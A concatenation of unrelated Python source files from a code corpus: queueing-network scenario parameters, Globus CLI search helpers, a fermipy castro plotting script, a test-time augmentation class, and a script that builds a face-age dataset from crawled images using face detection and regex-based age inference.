1, 10])[:, None],\n initial_state=np.array([30, 100, 100, 50])[:, None],\n capacity=np.ones((4, 1)) * np.inf, job_conservation_flag=True,\n job_gen_seed=job_gen_seed)\n\n elif name == 'double_reentrant_line_with_demand_model':\n return dict(d=1., mu1=4., mu2=3., mu3=2., mu4=3., mu5=4., mus=1e2, mud=1e2,\n cost_per_buffer=np.array([1, 1, 1, 1, 1, 1, 1])[:, None],\n initial_state=np.array([1, 1, 1, 1, 1, 1, 1])[:, None],\n capacity=np.ones((7, 1)) * np.inf,\n job_conservation_flag=True, job_gen_seed=job_gen_seed)\n\n elif name == 'double_reentrant_line_with_demand_only_shared_resources_model':\n return dict(d=1., mu1=4., mu2=3., mu3=3., mu4=4., mus=1e2, mud=1e2,\n cost_per_buffer=np.array([1, 1, 1, 1, 1, 1])[:, None],\n initial_state=np.array([1, 1, 1, 1, 1, 1])[:, None],\n capacity=np.ones((6, 1)) * np.inf, job_conservation_flag=True,\n job_gen_seed=job_gen_seed)\n\n elif name == 'input_queued_switch_3x3_model':\n return dict(mu11=1., mu12=1., mu13=1., mu21=1., mu22=1., mu23=1., mu31=1., mu32=1., mu33=1.,\n cost_per_buffer=np.ones((9, 1)), initial_state=np.ones((9, 1)) * 10,\n capacity=np.ones((9, 1)) * np.inf, demand_rate=0.3 * np.ones((9, 1)),\n job_conservation_flag=True, job_gen_seed=job_gen_seed)\n\n elif name == 'klimov_model':\n return dict(alpha1=0.2, alpha2=0.3, alpha3=0.4, alpha4=0.5, mu1=1.1, mu2=2.2, mu3=3.3,\n mu4=4.4, cost_per_buffer=np.ones((4, 1)), initial_state=(0, 0, 0, 0),\n capacity=np.ones((4, 1)) * np.inf, job_conservation_flag=True,\n job_gen_seed=job_gen_seed, deterministic=False)\n\n elif name == 'ksrs_network_model':\n return dict(alpha1=8., alpha3=8., mu1=1e3, mu2=10., mu3=1e3, mu4=10.,\n cost_per_buffer=np.ones((4, 1)), capacity=np.ones((4, 1)) * np.inf,\n initial_state=np.array([[100], [100], [100], [100]]),\n job_conservation_flag=True, job_gen_seed=job_gen_seed,\n list_boundary_constraint_matrices=None, deterministic=False)\n\n elif name == 'multiple_demand_model':\n return dict(d1=5., d2=5., mu1=12., mu2=9., mu3=12., mu4=9., mus=100., mud=100.,\n cost_per_buffer=np.array([1, 1, 1, 1, 5, 10, 5, 10])[:, None],\n initial_state=np.array([0, 0, 0, 0, 10, 0, 10, 0])[:, None],\n capacity=np.ones((8, 1)) * np.inf, job_conservation_flag=True,\n job_gen_seed=job_gen_seed)\n\n elif name == 'one_warehouse':\n return dict(d=0.2, mu1=0.1, mu2=0.1, mu3=0.1, mu4=0.1,\n cost_per_buffer=np.ones((3, 1)), initial_state=np.ones((3, 1)),\n capacity=np.ones((3, 1)) * np.inf, job_conservation_flag=True,\n job_gen_seed=job_gen_seed)\n\n elif name == 'push_pull':\n return dict(d_in=2., d_out=2., mu=3., mud=10.,\n initial_state=np.array([[100], [100], [100]]), cost_per_buffer=np.ones((3, 1)),\n capacity=np.ones((3, 1)) * np.inf, job_conservation_flag=True,\n job_gen_seed=job_gen_seed)\n\n elif name == 'push_pull_minimal':\n return dict(d_in=2., d_out=2., mu=3., job_gen_seed=job_gen_seed,\n initial_state=np.array([[150], [100]]), capacity=np.ones((2, 1)) * np.inf,\n job_conservation_flag=True)\n\n elif name == 'simple_link_constrained_model':\n return dict(alpha1=4., mu12=2., mu13=10., mu25=10., mu32=5., mu34=20., mu35=20., mu45=10.,\n mu5=100., cost_per_buffer=np.ones((5, 1)),\n initial_state=np.vstack((100 * np.ones((1, 1)), np.zeros((4, 1)))),\n capacity=np.ones((5, 1)) * np.inf, job_conservation_flag=True,\n job_gen_seed=job_gen_seed)\n\n elif name == 'simple_link_constrained_with_route_scheduling_model':\n return dict(alpha1=2.9, mu12=2, mu13=10, mu25=1, mu32=5, mu34=2, mu35=2, mu45=10, mu5=20,\n cost_per_buffer=np.ones((5, 1)),\n initial_state=np.vstack((40 * np.ones((1, 1)), np.zeros((4, 1)))),\n capacity=np.ones((5, 1)) * np.inf, job_conservation_flag=True,\n job_gen_seed=job_gen_seed)\n\n elif name == 'simple_reentrant_line':\n return dict(alpha1=0.33, mu1=0.68, mu2=0.35, mu3=0.68,\n initial_state=np.array([1000, 10, 10])[:, None],\n cost_per_buffer=np.array([1.5, 1, 2])[:, None],\n capacity=np.ones((3, 1)) * np.inf, job_conservation_flag=True,\n job_gen_seed=job_gen_seed, deterministic=False)\n\n elif name == 'extended_reentrant_line_model':\n return dict(alpha1=0.33, mu1=0.69, mu2=0.35, mu3=0.68, mu4=0.35,\n initial_state=np.array([1000, 0, 0, 1000, 1000, 0])[:, None],\n cost_per_buffer=np.array([1, 2, 3, 2.5, 2, 5])[:, None],\n capacity=np.ones((6, 1)) * np.inf, job_conservation_flag=True,\n job_gen_seed=job_gen_seed, deterministic=False)\n\n elif name == 'decoupled_simple_reentrant_line_models':\n return dict(alpha1=0.33, mu1=0.68, mu2=0.35, mu3=0.68, mu4=0.99,\n initial_state=np.array([1000, 10, 100, 1000, 10, 100, 10])[:, None],\n cost_per_buffer=np.array([1.5, 1, 2, 1.5, 1, 2, 5])[:, None],\n capacity=np.ones((7, 1)) * np.inf, job_conservation_flag=True,\n job_gen_seed=job_gen_seed, deterministic=False)\n\n elif name == 'single_reentrant_resource':\n return dict(alpha1=0.33, mu1=0.68001, mu2=0.68,\n initial_state=np.array([1000, 0])[:, None],\n cost_per_buffer=np.array([1, 1])[:, None],\n capacity=np.ones((2, 1)) * np.inf, job_conservation_flag=True,\n job_gen_seed=job_gen_seed)\n\n elif name == 'simple_reentrant_line_homogeneous_cost': # Validated\n return dict(alpha1=9., mu1=22., mu2=10., mu3=22.,\n cost_per_buffer=np.ones((3, 1)),\n initial_state=np.array([100, 100, 100])[:, None],\n capacity=np.ones((3, 1)) * np.inf,\n job_conservation_flag=True, job_gen_seed=job_gen_seed,\n deterministic=False)\n\n elif name == 'simple_reentrant_line_with_demand_model':\n return dict(alpha_d=2., mu1=5., mu2=2.5, mu3=5., mus=1e3, mud=1e3,\n cost_per_buffer=np.ones((5, 1)),\n initial_state=np.array([10, 25, 55, 0, 100])[:, None],\n capacity=np.ones((5, 1)) * np.inf, job_conservation_flag=True,\n job_gen_seed=job_gen_seed)\n\n elif name == 'simple_reentrant_line_model_variance':\n return dict(alpha1=0.33, mu1=0.68, mu2=0.35, mu3=0.68,\n demand_variance=0.33,\n cost_per_buffer=np.ones((3, 1)),\n initial_state=np.array([[0], [0], [0]]),\n job_gen_seed=job_gen_seed)\n\n elif name == 'simple_routing_model':\n return dict(alpha_r=19., mu1=13., mu2=7., mu_r=20.,\n cost_per_buffer=np.array([[1.], [1.], [2.]]),\n initial_state=np.array([[100.], [100.], [100.]]),\n capacity=np.ones((3, 1)) * np.inf,\n job_conservation_flag=True, job_gen_seed=job_gen_seed)\n\n elif name == 'single_server_queue':\n return dict(cost_per_buffer=np.ones((1, 1)), initial_state=np.zeros((1, 1)),\n capacity=np.ones((1, 1)) * np.inf, demand_rate_val=0.7,\n job_conservation_flag=True, job_gen_seed=job_gen_seed,\n deterministic=False)\n\n elif name == 'single_station_demand_model':\n return dict(alpha_d=9., mu=10., mus=90., mud=50.,\n cost_per_buffer=np.array([5, 1, 10])[:, None],\n initial_state=np.array(([0, 0, 10])), capacity=np.ones((3, 1)) * np.inf,\n job_conservation_flag=True, job_gen_seed=job_gen_seed)\n\n elif name == 'tandem_demand_model':\n return dict(n=3, d=2, mu=np.array([4, 5, 6, 7, 8]),\n cost_per_buffer=np.array([4, 5, 6, 7, 8])[:, None],\n initial_state=np.array([6, 6, 6, 6, 6]),\n capacity=np.ones((5, 1)) * np.inf,\n job_conservation_flag=True)\n\n elif name == 'three_warehouses_simplified':\n return dict(d1=2.5, d2=2.5, d3=2.5, mu1=10., mu2=100., mu3=2.5, mu5=0.1,\n mu6=0., mu7=10., mu8=100, mu9=3.8, mu11=5., mu12=0.,\n mu13=10., mu14=100., mu15=2.5, mu17=0.1, mu18=0., mu19=0.1,\n mu20=5., mu21=0.1,\n cost_per_buffer=np.array([[1], [1], [5], [1], [1], [5], [1], [1], [5]]),\n initial_state=np.array([0, 0, 100, 0, 0, 0, 0, 0, 100]),\n job_conservation_flag=True, job_gen_seed=job_gen_seed,\n r_to_w_rebalance=False)\n\n elif name == 'two_warehouses_simplified':\n return dict(d1=5., d2=5., mu1=6., mu2=100., mu3=10., mu5=3., mu6=0., mu7=10.,\n mu8=100., mu9=5., mu11=3., mu12=0.,\n cost_per_buffer=np.array([[1], [1], [10], [1], [1], [10]]),\n initial_state=np.array([0, 0, 0, 0, 0, 100])[:, None],\n job_conservation_flag=True, job_gen_seed=job_gen_seed,\n r_to_w_rebalance=False, w_to_w_rebalance=True)\n\n elif name == 'two_warehouses':\n return dict(d1=0.05, d2=0.05, mu1=0.1, mu2=0.1, mu3=0.1, mu4=0.1, mu5=0.5, mu6=0.1,\n mu7=0.1, mu8=0.1, mu9=0.1, mu10=0.1, mu11=0.1, mu12=0.1,\n cost_per_buffer=np.ones((6, 1)), initial_state=np.ones((6, 1)),\n capacity=np.ones((6, 1)) * np.inf, job_conservation_flag=True,\n job_gen_seed=job_gen_seed, w_to_w_rebalance=True, r_to_w_rebalance=False)\n\n elif name == 'willems_example_2':\n return dict(initial_state=np.array(\n [10, 9, 8, 7, 6, 10, 9, 8, 7, 6, 10, 9, 8, 7, 6, 10, 9])[:, None],\n capacity=np.ones((17, 1)) * np.inf, job_conservation_flag=True,\n single_activity_per_resource=False, job_gen_seed=job_gen_seed,\n resource_capacity=np.array([560000, 70000, 60000, 320000, 40000, 30000,\n 1040000, 130000, 120000, 88000, 11000, 10000,\n 10000, 300000, 100000, 400000, 40000, 250000]))\n else:\n raise Exception('No Scenario Named: {}'.format(name))\n\n\ndef load_scenario(name: str, job_gen_seed: Optional[int],\n override_env_params: Optional[Dict] = None) -> Scenario:\n \"\"\"\n Takes the environment parameters as input, and used them to customise a particular CRW example.\n\n NB: THE SCENARIOS ARE ORDERED ALPHABETICALLY, AND MUST BE IN GLOBAL LIST\n\n :param name: Scenario name.\n :param job_gen_seed: Seed with which to initialise the environment.\n :param override_env_params: Dictionary of environment parameters to override defaults.\n :return: Scenario(name, env):\n - name: Scenario name.\n - env: CRW environment with the parameters defined by this scenario.\n \"\"\"\n assert name in SCENARIO_CONSTRUCTORS, f'No Scenario Named: {name}.'\n if override_env_params is not None:\n override_env_params['job_gen_seed'] = job_gen_seed\n else:\n override_env_params = dict()\n\n env_params = get_scenario_default_params(name, job_gen_seed)\n env_params.update(override_env_params)\n return Scenario(name, SCENARIO_CONSTRUCTORS[name](**env_params))\n","sub_path":"src/snc/environments/scenarios.py","file_name":"scenarios.py","file_ext":"py","file_size_in_byte":19440,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"8461604","text":"from typing import Any, Callable, Dict, Iterable, Optional, Tuple\n\nimport click\nimport globus_sdk\n\nfrom globus_cli.types import FIELD_LIST_T\n\n\ndef index_id_arg(f: Callable) -> Callable:\n return click.argument(\"index_id\", metavar=\"INDEX_ID\", type=click.UUID)(f)\n\n\ndef task_id_arg(f: Callable) -> Callable:\n return click.argument(\"task_id\", metavar=\"TASK_ID\", type=click.UUID)(f)\n\n\ndef resolved_principals_field(\n auth_client: globus_sdk.AuthClient,\n items: Optional[Iterable[Dict[str, Any]]] = None,\n *,\n name: str = \"Principal\",\n type_key: str = \"principal_type\",\n value_key: str = \"principal\",\n) -> Tuple[str, Callable[[Dict], str]]:\n resolved_ids = globus_sdk.IdentityMap(\n auth_client,\n (x[value_key].split(\":\")[-1] for x in items if x[type_key] == \"identity\")\n if items\n else [],\n )\n\n def render_principal(item: Dict[str, Any]) -> str:\n value = item[value_key].split(\":\")[-1]\n if item[type_key] == \"identity\":\n try:\n ret = resolved_ids[value][\"username\"]\n except LookupError:\n ret = value\n elif item[type_key] == \"group\":\n ret = f\"Globus Group ({value})\"\n else:\n ret = item[value_key]\n return str(ret)\n\n return (name, render_principal)\n\n\nINDEX_FIELDS: FIELD_LIST_T = [\n (\"Index ID\", \"id\"),\n (\"Display Name\", \"display_name\"),\n (\"Status\", \"status\"),\n]\n","sub_path":"src/globus_cli/commands/search/_common.py","file_name":"_common.py","file_ext":"py","file_size_in_byte":1436,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"400624846","text":"import cv2\nimport tensorflow as tf\n\nclasses = 3\nimage_path = r\"data/1556922895279.jpg\"\nimage = cv2.imread(image_path, cv2.IMREAD_GRAYSCALE)\nprint(image.shape)\nlabel = tf.placeholder(dtype=tf.uint8, shape=(None, None), name=\"label\")\noutput_ = tf.one_hot(label, depth=classes, axis=-1)\ninit = tf.global_variables_initializer()\n\nwith tf.Session(graph=tf.get_default_graph()) as sess:\n sess.run(init)\n output = sess.run(output_, feed_dict={label: image})\nprint(output.shape)\ncv2.imshow('output', output)\ncv2.waitKey()\n","sub_path":"test_one_hot.py","file_name":"test_one_hot.py","file_ext":"py","file_size_in_byte":520,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"278657092","text":"#!/usr/bin/env python\n#\n\n# Licensed under a 3-clause BSD style license - see LICENSE.rst\n\n\"\"\"\nTop level script to make a castro plot\n\"\"\"\nfrom __future__ import absolute_import, division, print_function\n\nimport sys\nimport os\nimport argparse\n\nfrom fermipy.utils import init_matplotlib_backend, load_yaml\ninit_matplotlib_backend('Agg')\n\nfrom fermipy.castro import CastroData\nfrom fermipy.sed_plotting import plotCastro\n\nfrom fermipy.jobs.chain import Link\nfrom fermipy.jobs.scatter_gather import ConfigMaker\nfrom fermipy.jobs.lsf_impl import build_sg_from_link\n\n\nclass CastroPlotter(Link):\n \"\"\"Small class wrap an analysis script.\n \n This is useful for parallelizing analysis using the fermipy.jobs module.\n \"\"\"\n\n default_options = dict(input=(None, 'Input file path', str),\n output=(None, 'Output file path', str),)\n\n def __init__(self, **kwargs):\n \"\"\"C'tor\n \"\"\"\n parser = argparse.ArgumentParser(usage=\"dmpipe-plot-castro [options]\",\n description=\"Make castro plots\")\n Link.__init__(self, kwargs.pop('linkname', 'plot-castro'),\n parser=parser,\n appname='dmpipe-plot-castro',\n options=CastroPlotter.default_options.copy(),\n **kwargs)\n\n def run_analysis(self, argv):\n \"\"\"Run this analysis\"\"\"\n args = self._parser.parse_args(argv)\n castro_data = CastroData.create_from_sedfile(args.input)\n ylims = [1e-8, 1e-5]\n \n plot = plotCastro(castro_data, ylims)\n if args.output:\n plot[0].savefig(args.output) \n return None\n return plot\n \n\n\nclass ConfigMaker_PlotCastro(ConfigMaker):\n \"\"\"Small class to generate configurations for this script\n\n This adds the following arguments:\n \"\"\"\n default_options = dict(targetlist=('target_list.yaml', 'Yaml file with list of targets', str),\n topdir=(None, 'Top level directory', str))\n\n def __init__(self, link, **kwargs):\n \"\"\"C'tor\n \"\"\"\n ConfigMaker.__init__(self, link,\n options=kwargs.get('options',\n ConfigMaker_PlotCastro.default_options.copy()))\n\n def build_job_configs(self, args):\n \"\"\"Hook to build job configurations\n \"\"\"\n input_config = {}\n job_configs = {}\n output_config = {}\n\n topdir = args['topdir']\n targets_yaml = os.path.join(topdir, args['targetlist'])\n\n try:\n targets = load_yaml(targets_yaml)\n except IOError:\n targets = {}\n\n for target_name, target_list in targets.items():\n for targ_prof in target_list:\n targ_key = \"%s_%s\"%(target_name, targ_prof)\n input_path = os.path.join(topdir, target_name, 'sed_%s.fits'%targ_prof)\n output_path = os.path.join(topdir, target_name, 'sed_%s.png'%targ_prof)\n logfile = os.path.join(topdir, target_name, 'plot_castro_%s.log'%targ_prof)\n job_config = dict(input=input_path,\n output=output_path)\n job_configs[targ_key] = job_config\n \n return input_config, job_configs, output_config\n\n\n\ndef create_link_plot_castro(**kwargs):\n \"\"\"Build and return a `Link` object that can invoke CastroPlotter\"\"\"\n castro_plotter = CastroPlotter(**kwargs)\n return castro_plotter\n\n\ndef create_sg_plot_castro(**kwargs):\n \"\"\"Build and return a ScatterGather object that can invoke this script\"\"\"\n\n link = CastroPlotter(**kwargs)\n link.linkname = kwargs.pop('linkname', link.linkname)\n appname = kwargs.pop('appname', 'dmpipe-plot-castro-sg')\n\n lsf_args = {'W': 50,\n 'R': 'rhel60'}\n\n usage = \"%s [options]\" % (appname)\n description = \"Make castro plots for set of targets\"\n\n config_maker = ConfigMaker_PlotCastro(link)\n lsf_sg = build_sg_from_link(link, config_maker,\n lsf_args=lsf_args,\n usage=usage,\n description=description,\n appname=appname,\n **kwargs)\n return lsf_sg\n\n\ndef main_single():\n \"\"\" Hook for command line interface\n \"\"\"\n castro_plotter = CastroPlotter()\n castro_plotter.run_analysis(sys.argv[1:])\n\n\ndef main_batch():\n \"\"\" Entry point for command line use for dispatching batch jobs \"\"\"\n lsf_sg = create_sg_plot_castro()\n lsf_sg(sys.argv)\n\n\n\nif __name__ == '__main__':\n PLOT = main_single()\n","sub_path":"dmpipe/scripts/plot_castro.py","file_name":"plot_castro.py","file_ext":"py","file_size_in_byte":4665,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"481133099","text":"import itertools\nfrom ..tta_wrapper import functional as F\n\n\ndef add_identity(params):\n \"\"\"Add identical parameter (0) for all manipulations\"\"\"\n if params is None:\n res = [0]\n elif isinstance(params, bool):\n if params:\n res = [0] + [int(params)]\n else:\n res = [0]\n elif isinstance(params, tuple):\n res = [0] + list(params)\n elif isinstance(params, list):\n res = [0] + params\n else:\n raise ValueError('Wrong param type')\n return res\n\n\ndef invert(params):\n \"\"\"Invert order of parameters for manipulations\"\"\"\n return list(map(lambda x: -x, params))\n\n\nclass Augmentation(object):\n\n def __init__(self,\n h_flip=True,\n v_flip=True,\n h_shifts=(10, -10),\n v_shifts=(10, -10),\n rotation_angles=(90, 180, 270),):\n\n super().__init__()\n\n self.h_flip = add_identity(h_flip)\n self.v_flip = add_identity(v_flip)\n self.rotation_angles = add_identity(rotation_angles)\n self.h_shifts = add_identity(h_shifts)\n self.v_shifts = add_identity(v_shifts)\n\n self.n_transforms = len(self.h_flip) * \\\n len(self.v_flip)* \\\n len(self.rotation_angles) * \\\n len(self.h_shifts) * \\\n len(self.v_shifts)\n\n self.forward_aug = [F.h_flip, F.v_flip, F.rotate, F.h_shift, F.v_shift]\n self.forward_transform_params = list(itertools.product(\n self.h_flip,\n self.v_flip,\n self.rotation_angles,\n self.h_shifts,\n self.v_shifts,\n ))\n\n self.backward_aug = self.forward_aug[::-1]\n\n backward_transform_params = list(itertools.product(\n invert(self.h_flip),\n invert(self.v_flip),\n invert(self.rotation_angles),\n invert(self.h_shifts),\n invert(self.v_shifts),\n ))\n self.backward_transform_params = list(map(lambda x: x[::-1],\n backward_transform_params))\n\n @property\n def forward(self):\n return self.forward_aug, self.forward_transform_params\n\n @property\n def backward(self):\n return self.backward_aug, self.backward_transform_params","sub_path":"tta_wrapper/augmentation.py","file_name":"augmentation.py","file_ext":"py","file_size_in_byte":2337,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"538128220","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport os\nimport sys\n\nimport shutil\n\nfrom main.dataset.generic_image_age_dataset import GenericImageAgeDataset\nfrom main.dataset.raw_crawled_dataset import RawCrawledDataset\nfrom main.filter.advanced.age_estimation_filter import AgeEstimationFilter\nfrom main.filter.advanced.age_estimation_text_inference_filter import AgeEstimationTextInferenceFilter\nfrom main.filter.advanced.face_detection_filter import FaceDetectionFilter\nfrom main.filter.multifilter import Multifilter\nfrom main.resource.image import Image\nfrom main.resource.text import Text\nfrom main.tools.age_range import AgeRange\n\n__author__ = \"Ivan de Paz Centeno\"\n\nSAVE_BATCH_AMMOUNT = 200\nMAX_IMAGE_SIZE = (1200, 1200)\nAGE_GROUPING_SIZE = 2\nEXPECTED_AGE_RANGE = AgeRange(0, 4)\n\nif len(sys.argv) != 2:\n print(\"A parameter for folder/zip location of the processable dataset is needed.\")\n exit(-1)\n\nsource = sys.argv[1]\n\nif not os.path.exists(source):\n print(\"Given folder/filename does not exist.\")\n exit(-1)\n\nif os.path.isdir(source): source_type = \"DIR\"\nelse: source_type = \"FILE\"\n\n\nBACKEND = 'http://192.168.2.110:9095'\n#MAX_FACES = 1\n\nTYPE_MAP = {\n \"face-detection\": \"detection-requests/faces\",\n \"face-age-estimation\": \"estimation-requests/age/face\",\n}\n\ndef build_api_url(type, method=\"stream\", service_name=\"default\"):\n return \"{}/{}/{}?service={}\".format(BACKEND, TYPE_MAP[type], method, service_name)\n\ndef create_temp_folder(name=\"GUID\"):\n \"\"\"\n Creates a temporal folder for dataset process\n :param name: name to assign.\n :return:\n \"\"\"\n\n if name == \"GUID\":\n import uuid\n name = uuid.uuid4()\n\n if not os.path.exists(\"/tmp/inferencedb/\"):\n os.mkdir(\"/tmp/inferencedb/\")\n\n folder = \"/tmp/inferencedb/{}\".format(name)\n\n os.mkdir(folder)\n\n return folder\n\n\nprint(\"Importing dataset from {} ({})\".format(source, source_type))\n\n\nif source_type == \"DIR\":\n raw_dataset = RawCrawledDataset(source)\n folder = source\n\nelse:\n folder = create_temp_folder()\n\n print(\"Temporal folder on \\\"{}\\\"\".format(folder))\n raw_dataset = RawCrawledDataset(folder)\n raw_dataset.import_from_zip(source)\n\nnew_folder = create_temp_folder()\nage_dataset = GenericImageAgeDataset(new_folder)\n\ntry:\n raw_dataset.load_dataset()\n\n if len(raw_dataset.get_metadata_content()) == 0:\n print(\"Dataset source seems empty or not understandable by the inference filter. Aborted.\")\n print(\"Ensure that there exists a metadata.json file in the same folder.\")\n exit(-1)\n\n print(\"Detected {} elements in raw dataset.\".format(len(raw_dataset.get_metadata_content())))\n\n\n # Let's define the filters:\n\n face_filter = FaceDetectionFilter(1, build_api_url(\"face-detection\", service_name=\"mt-gpu-caffe-cnn-face-detection\"), min_faces=1)\n\n image_age_filters = [\n #AgeEstimationFilter(2, build_api_url(\"face-age-estimation\",\n # service_name=\"gpu-cnn-rothe-real-age-estimation\"), min_age=0,\n # max_age=99),\n #AgeEstimationFilter(2, build_api_url(\"face-age-estimation\",\n # service_name=\"gpu-cnn-rothe-apparent-age-estimation\"), min_age=0,\n # max_age=99),\n AgeEstimationFilter(6, build_api_url(\"face-age-estimation\",\n service_name=\"gpu-cnn-levi-hassner-age-estimation\"), min_age=0,\n max_age=99),\n ]\n\n translate_dict1 = {\n \"zero\": 0,\n \"oh\": 0,\n \"zip\": 0,\n \"zilch\": 0,\n \"nada\": 0,\n \"bupkis\": 0,\n \"one\": 1,\n \"two\": 2,\n \"three\": 3,\n \"four\": 4,\n \"five\": 5,\n \"six\": 6,\n \"seven\": 7,\n \"eight\": 8,\n \"nine\": 9,\n \"ten\": 10,\n \"eleven\": 11,\n \"twelve\": 12,\n \"thirteen\": 13,\n \"fourteen\": 14,\n \"fifteen\": 15,\n \"sixteen\": 16,\n \"seventeen\": 17,\n \"eighteen\": 18,\n \"nineteen\": 19,\n }\n\n translate_dict2 = {\n \"fir\":1,\n \"second\":2,\n \"thi\":3,\n \"four\":4,\n \"five\":5,\n \"six\":6,\n \"seven\":7,\n \"eight\":8,\n \"nine\":9,\n \"ten\":10,\n \"eleven\":11,\n \"twelve\":12,\n \"thirteen\":13,\n \"forteen\":14,\n \"fifteen\":15,\n \"sixteen\":16,\n \"seventeen\":17,\n \"eighteen\":18,\n \"nineteen\":19,\n \"twent\":20\n }\n\n search_keywords_filters = [\n AgeEstimationTextInferenceFilter(4,\n pattern=\"(?:)?([0-9][0-9]?|one|two|three|four|five|six|seven|eight|nine|ten|eleven|twelve|thirteen|forteen|fifteen|sixteen|seventeen|eighteen|nineteen|twenty).?(?:<\\/b>)?(?:[ ]|[-])(?:)?(?:(?:year[']?s?)(?:(?:<\\/b>)?(?:[ ]|[-])(?:)?(?:old)(?:<\\/b>)?)|(?:yo))\",\n translate_dict=translate_dict1),\n ]\n\n text_age_filters = [\n AgeEstimationTextInferenceFilter(10,\n pattern=\"(?:)?([0-9][0-9]?|one|two|three|four|five|six|seven|eight|nine|ten|eleven|twelve|thirteen|forteen|fifteen|sixteen|seventeen|eighteen|nineteen|twenty).?(?:<\\/b>)?(?:[ ]|[-])(?:)?(?:(?:year[']?s?)(?:(?:<\\/b>)?(?:[ ]|[-])(?:)?(?:old)(?:<\\/b>)?)|(?:yo))\",\n translate_dict=translate_dict1),\n AgeEstimationTextInferenceFilter(6,\n pattern=\"(?:baby).*(?:)?([0-9][0-9]?|one|two|three|four|five|six|seven|eight|nine|ten|eleven|twelve|thirteen|forteen|fifteen|sixteen|seventeen|eighteen|nineteen|twenty).?(?:<\\/b>)?(?:[ ]|[-])(?:)?(?:(?:year[']?s?)(?:(?:<\\/b>)?(?:[ ]|[-])(?:)?(?:old)(?:<\\/b>)?)|(?:yo))\",\n translate_dict=translate_dict1, max_age=3),\n AgeEstimationTextInferenceFilter(6,\n pattern=\"(?:)?([0-9][0-9]?|one|two|three|four|five|six|seven|eight|nine|ten|eleven|twelve|thirteen|forteen|fifteen|sixteen|seventeen|eighteen|nineteen|twenty).?(?:<\\/b>)?(?:[ ]|[-])(?:)?(?:(?:year[']?s?)(?:(?:<\\/b>)?(?:[ ]|[-])(?:)?(?:old)(?:<\\/b>)?)|(?:yo)).*(?:baby)\",\n translate_dict=translate_dict1, max_age=3),\n AgeEstimationTextInferenceFilter(9,\n pattern=\"(?:)?([0-9][0-9]?|fir|second|thi|four|five|six|seven|eight|nine|ten|eleven|twelve|thirteen|forteen|fifteen|sixteen|seventeen|eighteen|nineteen|twent)(?:st|nd|rd|th|ieth)?(?:<\\/b>)?(?:[ ]|[-])(?:)?(?:birthday)(?:<\\/b>)?\",\n translate_dict=translate_dict2)\n ]\n\n image_multifilter = Multifilter(image_age_filters)\n text_multifilter = Multifilter(text_age_filters)\n search_keywords_multifilter = Multifilter(search_keywords_filters)\n\n # Let's process each image.\n metadata_content = raw_dataset.get_metadata_content()\n\n iteration = 0\n size_metadata = len(metadata_content)\n count = 0\n for image_hash, data in metadata_content.items():\n count +=1\n if not 'metadata' in data:\n\n print(\"Element {} hierarchy in the metadata is not correct (does not contain metadata for the image's hash \"\n \"key). May it be a different version of dataset? skipped.\".format(image_hash))\n continue\n\n metadata = data['metadata']\n text = Text(content=metadata['desc'])\n search_keywords_text = Text(content=\"; \".join(metadata['searchwords']))\n print(text.get_content())\n print(search_keywords_text.get_content())\n\n if not 'uri' in metadata:\n\n print(\"Element's {} metadata does not reference any URI. May it be a different version of dataset? \"\n \"skipped.\".format(image_hash))\n continue\n\n uri = os.path.join(folder, metadata['uri'][0])\n print(\"loading {}\".format(uri))\n image = Image(uri)\n image.load_from_uri()\n\n if not image.is_loaded():\n continue\n\n if image.get_size() > MAX_IMAGE_SIZE:\n image.resize_to(MAX_IMAGE_SIZE)\n\n try:\n (faces_detected, weight, reason, bounding_boxes) = face_filter.apply_to(image)\n\n except Exception as ex:\n print(\"Backend failed for image \\\"{}\\\"\".format(image.get_uri()))\n faces_detected = False\n\n if not faces_detected:\n print(\"No faces detected for file {} ({})\".format(image_hash, uri))\n continue\n\n print(\"Detected {} faces in {} ({}): \\n{}\".format(len(bounding_boxes), image_hash, uri, \"\\n\".join([str(bounding_box) for bounding_box in bounding_boxes])))\n\n for bounding_box in bounding_boxes:\n\n bounding_box.expand(0.2)\n bounding_box.fit_in_size(image.get_size())\n new_image = image.crop_image(bounding_box, new_uri=\"None\")\n\n face_age_scores = text_multifilter.apply_to(text) \\\n + search_keywords_multifilter.apply_to(search_keywords_text) \\\n + image_multifilter.apply_to(new_image)\n\n # Let's discard all those scores that didn't pass the filter.\n face_age_scores = [(passed, weight, reason, age) for (passed, weight, reason, age) in face_age_scores if passed]\n\n filtered_face_age_scores = [(age, weight) for (result, weight, reason, age) in face_age_scores if result]\n\n [print(age, \"x\", weight) for (age, weight) in filtered_face_age_scores]\n\n\n if len(filtered_face_age_scores) <= 2:\n\n # Now we need to map the age ranges into a list.\n ages_list = []\n for (age, weight) in filtered_face_age_scores:\n ages_list += age.get_range() * weight\n\n reduced_list = AgeEstimationTextInferenceFilter.ivan_algorithm(ages_list)\n\n age_range = AgeRange(int(min(reduced_list)), int(max(reduced_list)))\n\n print(\"Inferred age: {}\".format(age_range), end=\"\")\n\n else:\n # Bad, only two filters were effective here.\n # This image is not trustworthy. Let's discard it into the unknown group.\n age_range=AgeRange(99, 99)\n\n # Let's fit the inferred age range inside an age group\n mean_age = age_range.get_mean()\n\n min_age = int(mean_age / AGE_GROUPING_SIZE) * AGE_GROUPING_SIZE # This is not equal to \"mean_age\", they are INTEGERS, not REALS!\n max_age = min_age + AGE_GROUPING_SIZE-1\n age_range = AgeRange(min_age, max_age)\n\n if min_age < EXPECTED_AGE_RANGE.get_range()[0] or max_age > EXPECTED_AGE_RANGE.get_range()[1]:\n # This is not within the expected age range... let's discard this sample.\n print(\"Discarded image as it overpasses expected age range.\")\n continue\n\n print(\"; fitted age in group {}\".format(age_range))\n\n new_image.metadata=[age_range]\n age_dataset.put_image(new_image)\n\n if iteration % SAVE_BATCH_AMMOUNT == 0:\n print(\"[{}%] Saved dataset into \\\"{}\\\".\".format(round(count/size_metadata * 100, 2), new_folder))\n age_dataset.save_dataset()\n\n iteration += 1\n\nfinally:\n print(\"Saved dataset into \\\"{}\\\".\".format(new_folder))\n age_dataset.save_dataset()\n\n if source_type==\"FILE\":\n print(\"Removing temporary folder {}...\".format(folder))\n shutil.rmtree(folder)\n print(\"Done.\")\n\n 